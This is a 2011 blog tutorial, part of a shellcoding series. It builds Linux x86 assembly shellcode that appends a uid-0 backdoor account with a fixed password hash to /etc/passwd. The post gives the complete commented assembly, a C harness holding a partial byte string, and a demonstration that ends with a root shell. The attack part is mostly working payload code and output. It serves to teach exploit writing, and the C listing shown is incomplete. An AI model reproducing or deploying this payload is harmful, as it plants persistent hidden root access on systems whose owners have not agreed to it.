Linux x86 Shellcoding – 103   Leave a comment

  • Post Info:
    1. # Author: Flavio do Carmo Junior aka waKKu
      # URL: Author’s Webpage
      # Date: April 29, 2011
      # Category: Assembly, Exploiting, Programming, Security, Shellcoding


    This is our 3rd article in serie “Linux x86 Shellcodes”, I strongly advise you check others two if you still didn’t.

    Today we’ve a new and interesting challenge, a much more elaborated shellcode…

    1. Introduction
    As I promised in our last talk, today we’ll use “CALL + POP” technique to put strings onto stack.
    Assembly is going to be a bit more “complex”, but not too much.

    Shellcode Objective: Create a new user with root powers (uid = 0) into the system.

    – Linux stores its users and password in /etc/passwd file*
    – Password is generated using crypt(3) and MD5-based hash.
    – We need to append a new “customized” line in this file, using assembly.
    * Linux will only use /etc/shadow file if the password field into /etc/passwd is “x”, if the password hash is already available Linux authenticate it directly.

    man 5 passwd

    The encrypted password field may be blank, in which case no password is required to authenticate as the specified login name. However, some applications which read the /etc/passwd file may decide not to permit any access at all if the password field is blank. If the password field is a lower-case “x”, then the encrypted password is actually stored in the shadow(5) file instead; there must be a corresponding line in the /etc/shadow file, or else the user account is invalid. If the password field is any other string, then it will be treated as an encrypted password, as specified by crypt(3).

    Ok, now we’ll need some new syscalls…

    A. Our first syscall: write(2) – Number: 4
    man 2 write

    write – write to a file descriptor

    #include <unistd.h>

    ssize_t write(int fd, const void *buf, size_t count);

    write() writes up to count bytes to the file referenced by the file descriptor fd from the buffer starting at buf. POSIX requires that a read() which can be proved to occur after a write() has returned returns the new data. Note that not all file systems are POSIX conforming.

    If write() writes to a file descriptor, we need to open a new one…

    B. Our second syscall: open(2) – Number: 5
    man 2 open

    open, creat – open and possibly create a file or device

    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>

    int open(const char *pathname, int flags);
    int open(const char *pathname, int flags, mode_t mode);
    int creat(const char *pathname, mode_t mode);

    Given a pathname for a file, open() returns a file descriptor, a small, non-negative integer for use in subsequent system calls (read(2), write(2), lseek(2), fcntl(2), etc.). The file descriptor returned by a successful call will be the lowest-numbered file descriptor not currently open for the process.
    The parameter flags must include one of the following access modes: O_RDONLY, O_WRONLY, or O_RDWR. These request opening the file read-only, write-only, or read/write, respectively.
    The file is opened in append mode. Before each write(), the file offset is positioned at the end of the file, as if with lseek(). O_APPEND may lead to corrupted files on NFS file systems if more than one process appends data to a file at once. This is because NFS does not support appending to a file, so the client kernel has to simulate it, which canât be done without a race condition.
    open() and creat() return the new file descriptor, or -1 if an error occurred (in which case, errno is set appropriately).

    We will need the first option, that one using 2 arguments (pathname and flags).
    As we can see in this snippet, we’ve 3 useful parts: syntax, access mode and return value. We’ll open the file using O_APPEND and O_WRONLY, thus the pointer will be placed directly at the end of file, making easier for us to append a new line.
    Before we start handling the return value, we need to know that all value returned by a function or syscall will be placed into “eax” register, this is a Linux’s standard behaviour.
    Ok, now we know (by manpage) that this syscall return a file descriptor to handle that pathname argument.
    Next step, we’ve no access to that header files then we’ll need to get the real value of those macros (O_APPEND and O_WRONLY). Following those headers, we got:


    /* Get the definitions of O_*, F_*, FD_*: all the
    numbers and flag bits for `open’, `fcntl’, et al. */
    #include <bits/fcntl.h>

    That sends us to:


    #define O_WRONLY 01
    #define O_APPEND 02000

    You can notice these values are in OCTAL (note that leading “0”). We need to make an OR with then and use it as hexadecimal to simplify.

    waKKu@blog$ gdb --quiet --batch -ex 'print /x 02000 | 01'
    $1 = 0x401

    If you got lost, check this: Bitwise Mask and this Bitwise Operations

    Ok, we are done with open(2) syscall, our flag is 0x401.

    C. Opened? Close it!: close(2) – Number: 6
    man 2 close

    close – close a file descriptor

    #include <unistd.h>

    int close(int fd);

    Not much to talk about that one… We just need the file descriptor.

    1.1 Generating our password hash
    Now we need to write a simple C program to create this hash in the right format.
    Check shadow manpage:

    man 5 shadow

    If the password field contains some string that is not valid result of crypt(3), for instance ! or *, the user will not be able to use a unix password to log in, subject to pam(7).

    Hm… We will need to use crypt(3) here, let’s see:
    man 3 crypt

    crypt – password and data encryption

    #define _XOPEN_SOURCE
    #include <unistd.h>

    char *crypt(const char *key, const char *salt);

    The glibc2 version of this function has the following additional features. If salt is a character string starting with the three characters “$1$” followed by at most eight characters, and optionally terminated by “$”, then instead of using the DES machine, the glibc crypt function uses an MD5-based algorithm, and outputs up to 34 bytes, namely “$1$$”, where “” stands for the up to 8 characters following “$1$” in the salt, followed by 22 bytes chosen from the set [aâzAâZ0â9./]. The entire key is significant here (instead of only the first 8 bytes).

    Programs using this function must be linked with -lcrypt.

    Sounds easy, we’ve syntax, a hint about MD5-Based hashes and another hint to compile programs with -lcrypt in order to use crypt(3) function.

    Let’s code:

    waKKu@blog$ cat crypt.c
    #include <stdio.h>
    #define _XOPEN_SOURCE
    #include <unistd.h>
    int main(int argc, char **argv) {
            if (argc != 3) {
                    printf("Usage: %s password salt\n", argv[0]);
            printf("HASH: %s\n", crypt(argv[1], argv[2]));
    waKKu@blog$ gcc -o crypt crypt.c -lcrypt
    waKKu@blog$ ./crypt
    Usage: ./crypt password salt

    Easy huh?… I’ll be using the password “h4x0r1ns1d3” and ‘$1$hadouken’ as salt (yeah, I just invented this one right now ;))

    waKKu@blog$ ./crypt "h4x0r1ns1d3" '$1$hadouken'
    HASH: $1$hadouken$bGI5CvLgp7yi8K44dk.sW0

    Exactly as manpage said:
    – $1$ -> Identifying our MD5-based hash
    – hadouken -> My (funny) salt value
    – $ -> Salt terminator
    – bGI5CvLgp7yi8K44dk.sW0 -> 22 bytes for true hash

    Almost there, we still need to know about /etc/passwd fields:

    man 5 passwd

    passwd – the password file

    /etc/passwd contains one line for each user account, with seven fields delimited by colons (“:”). These fields are:

    o login name
    o optional encrypted password
    o numerical user ID
    o numerical group ID
    o user name or comment field
    o user home directory
    o optional user command interpreter

    Now we’re ready to do a checklist:
    – login name: 0xcd80
    – encrypted password: $1$hadouken$bGI5CvLgp7yi8K44dk.sW0
    – UID: 0 (root ;))
    – GID: 0 (root ;))
    – comment: 0xcd80 blog
    – home: /dev/null
    – shell: /bin/bash

    Check out this output of /etc/passwd:

    waKKu@blog$ tail -n5 /etc/passwd | cat -vet

    Can you see that “$” at the end of each line? That is the special character of “Line Feed” or “New Line” we talked about in previous articles…
    man 7 ascii

    Oct Dec Hex Char
    012 10 0A LF ‘\n’

    And as expected, its “hex” code is a bad char (0x0A), so we can’t use it in our shellcode…
    By now, I’ll be replacing it with character “#”, we take care of it later ;).

    2. Arranging our findings
    – File to point our file descriptor to: /etc/passwd
    – Then we need to write to this file descriptor
    – What we need to write: “0xcd80:$1$hadouken$bGI5CvLgp7yi8K44dk.sW0:0:0:0xcd80 blog:/dev/null:/bin/bash#”
    – Close file descriptor (/etc/passwd file)
    – Exit gracefully with: exit(0)

    We saw earlier that write(2) needs the number of bytes to be written, so let’s check it:

    waKKu@blog$ echo -n '0xcd80:$1$hadouken$bGI5CvLgp7yi8K44dk.sW0:0:0:blog 0xcd80:/dev/null:/bin/bash#' | wc -c

    We need to use single quotes here to avoid “$” expansion, and -n to avoid new line

    We are NOT considering:
    – If open() failed;
    – If write() failed;
    – If close() failed;

    1. Push ‘/etc/passwd’ onto stack
    2. Point this address into “ebx”
    3. Put syscall number”5″ (open) into “eax”
    4. *** Call protected/kernel mode ***
    5. Copy return value (file descriptor) from “eax” to “ebx”
    6. Make “ecx” point to the text we want to write to
    7. Replace character at position 77 (#) by 0x0A
    8. Put number of bytes to be written into “edx”
    9. Put syscall number “4” (write) into “eax”
    10. *** Call protected/kernel mode ***
    11. Put syscall number “6” (close) into “eax”
    12. *** Call protected/kernel mode ***
    13. Zero “ebx”
    14. Put syscall number “1” (exit) into “eax”
    15. *** Call protected/kernel mode ***

    3. Assembly
    I’ll try to describe each operation in comments below:

    # AUTHOR: Flavio do Carmo Junior aka waKKu
    # PURPOSE:
    #  Open file: /etc/passwd
    #  Replace one character in 'UserEntry' string
    #  Write 'UserEntry' to file
    #  Close file: /etc/passwd
    #  Exit gracefully
    #  %eax -> Syscall number
    #  'UserEntry' -> text to be written to file.
    .section .text
    .globl _start
       # No need to define anything here, leave execution
       # follow normally and we'll reach OpenFile.
       xorl %eax, %eax         # Zeroing "eax"
       push %eax               # Push NULL Byte as string terminator
       push $0x64777373        # push 'dwss'
       push $0x61702f2f        # push 'ap//'
       push $0x6374652f        # push 'cte/'
       movl %esp, %ebx         # Make "ebx" point to pushed string
       xorl %ecx, %ecx         # zeroing "ecx"
       movw $0x401, %cx        # O_APPEND|O_WRONLY flags (using 16 bits register part)
       movb $0x05, %al         # syscall open() (using 8 bits register part)
       int  $0x80              # *** Call protected/kernel mode ***
       movl %eax, %ebx         # Copy returned value (fd) into "ebx"
       # Now it's time to our "CALL + POP" trick
       jmp  CallPopTrick       # We jump to the trick trigger
       pop  %ecx               # Here's the POP part of the trick, instead of a ret 
                               # we are using a pop to put UserEntry address into "ecx"
       movb $0x09, %dl         # Now we put value $0x09 into "dl" (8 bits part)
       inc  %dl                # 0x09 + 1 == 0x0A, Our "Line Feed" character ;)
       movb %dl, 77(%ecx)      # Now we replace our "#" character by the value 0x0A
                               # thus inserting our Line Feed without use of bad char
       # "ebx" is still the file descriptor
       xorl %edx, %edx         # Zeroing "edx"
       movb $78, %dl           # Put the number of bytes to be written (8 bits part)
       movb $0x04, %al         # syscall write() into "eax" (8 bits part)
       int  $0x80              # *** Call protected/kernel mode ***
       xorl %eax, %eax         # write() returned the number of bytes written, but
                               # we don't care about it, we need to zero "eax" again
       add  $0x06, %eax        # 0 + 6 == close() syscall.
       # Again, "ebx" still has our file descriptor
       int  $0x80              # *** Call protected/kernel mode ***
       xorl %eax, %eax         # Again, we zero whole "eax"
       inc  %eax               # 0 + 1 == exit() syscall
       xorl %ebx, %ebx         # Zeroing "ebx" for an exit(0)
       int  $0x80              # *** Call protected/kernel mode ***
       call  WriteString       # When this call execute, the address of
                               # our label "UserEntry" will be pushed 
                               # onto stack, waiting by a ret instruction
                               # that will never takes place :).
    			   # We need to make negative (backward) jump
    			   # to avoid NULL Bytes.
       .ascii "0xcd80:$1$hadouken$bGI5CvLgp7yi8K44dk.sW0:0:0:blog 0xcd80:/dev/null:/bin/bash#"
    # vim: ts=3

    Assemble, link and execute:

    waKKu@blog$ as -o useradd.o useradd.s
    waKKu@blog$ ld -o useradd useradd.o
    waKKu@blog$ ./useradd
    Segmentation fault

    Oops! … Did we do anything wrong?
    No… To be sure, let’s see where we got this segfault:

    waKKu@blog$ gdb --quiet ./useradd
    (no debugging symbols found)
    Using host libthread_db library "/lib/tls/i686/cmov/".
    (gdb) r
    Starting program: /home/waKKu/0xcd80/useradd
    Failed to read a valid object file image from memory.
    Program received signal SIGSEGV, Segmentation fault.
    0x0804809b in WriteString ()
    (gdb) x/i $eip
    0x804809b <WriteString+5>:      mov    %dl,0x4d(%ecx)
    (gdb) i r ecx
    ecx            0x80480b9        134512825
    (gdb) x/s $ecx
    0x80480b9 <UserEntry>:   "0xcd80:$1$hadouken$bGI5CvLgp7yi8K44dk.sW0:0:0:blog 0xcd80:/dev/null:/bin/bash#"
    (gdb) quit
    The program is running.  Exit anyway? (y or n) y
    waKKu@blog$ readelf -S useradd
    There are 5 section headers, starting at offset 0x128:
    Section Headers:
      [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
      [ 0]                   NULL            00000000 000000 000000 00      0   0  0
      [ 1] .text             PROGBITS        08048074 000074 000093 00  AX  0   0  4
      [ 2] .shstrtab         STRTAB          00000000 000107 000021 00      0   0  1
      [ 3] .symtab           SYMTAB          00000000 0001f0 0000f0 10      4  11  4
      [ 4] .strtab           STRTAB          00000000 0002e0 000064 00      0   0  1
    Key to Flags:
      W (write), A (alloc), X (execute), M (merge), S (strings)
      I (info), L (link order), G (group), x (unknown)
      O (extra OS processing required) o (OS specific), p (processor specific)
    waKKu@blog$ gdb --quiet --batch -ex 'print /x 0x80480b9 - 0x08048074'
    $1 = 0x45

    Check exact instruction we got “segmentation fault” was exactly moment we tried to change the “#” to “0x0a”, and below I showed the readelf’s output, where we can see that that memory area where we are trying to write (replace char) is read-only, so this is the reason of segfault. The truth is we’re inserting our string in memory just like if it was a piece of code, directly into “.code” or “.text” area, which should be read-only in every program.
    Well, but I said wasn’t anything wrong with our shellcode, so what? – Remember that when this shellcode is injected into anothers program memory, the area where it is being injected needs to have write permission and, if we are lucky,eXecution permission too :).

    4. Exploiting
    We can simulate this behavior using that same trick from previous articles:

    waKKu@blog$ tools/ useradd.o
    ShellCode is clean (0 nulls)
    Using 16 opcodes/line
    // ShellCode -> [ 'File:useradd.o', 'Size:147 bytes', 'NULLs: 0' ]
    waKKu@blog$ cat trysc103.c
    #include <stdio.h>
    #include <string.h>
    // ShellCode -> [ 'File:useradd.o', 'Size:147 bytes', 'NULLs: 0' ]
    char shellcode[] = "\x31\xc0\x50\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65"
    int main(int argc, char **argv)
            int (*ret)()=(int(*)())shellcode; //function pointer = casting variavel -> função
            printf("Calling shellcode...");
            ret(); // chamamos nosso function pointer
            printf("If you are seeing this line, WE FAILED!!!"); // se o shellcode funcionar um _exit() vai acontecer
    waKKu@blog$ gcc -fno-stack-protector -z execstack -o trysc103 trysc103.c
    waKKu@blog$ tail -n5 /etc/passwd | cat -vet
    waKKu@blog$ sudo ./trysc103 # We'll need to test this shellcode as root, in order to edit '/etc/passwd'
    waKKu@blog$ tail -n5 /etc/passwd | cat -vet
    0xcd80:$1$hadouken$bGI5CvLgp7yi8K44dk.sW0:0:0:blog 0xcd80:/dev/null:/bin/bash$
    waKKu@blog$ su - 0xcd80
    su: warning: cannot change directory to /dev/null: Not a directory
    -bash: /dev/null/.bash_profile: Not a directory
    root@blog:/# whoami

    SUCCESS!!!… As expected, our shellcode works great.

    That’s all folks!

    Linux x86 ShellCodes 101 – Objective: Topics introduction and exit(69) shellcode
    Linux x86 ShellCodes 102 – Objective: execve() shellcode & push strings technique.
    Linux x86 ShellCodes 103 – Objective: Add a new ‘root’ user in system & CALL+POP technique.
    Linux x86 ShellCodes 104 – ASCII Encoding and a Self-Decoder Shellcode
    Linux x86 ShellCodes 105 – The (Easter) EggHunting Game (EggHunter Shellcode)
    Linux x86 ShellCodes 106 – ???? Sugestões?? Venetian Shellcode???



    Posted April 29, 2011 by waKKu in Assembly, Exploiting, Programming, Security, Shellcoding

    Leave a Reply

    Fill in your details below or click an icon to log in: Logo

    You are commenting using your account. Log Out / Change )

    Twitter picture

    You are commenting using your Twitter account. Log Out / Change )

    Facebook photo

    You are commenting using your Facebook account. Log Out / Change )

    Google+ photo

    You are commenting using your Google+ account. Log Out / Change )

    Connecting to %s

    %d bloggers like this: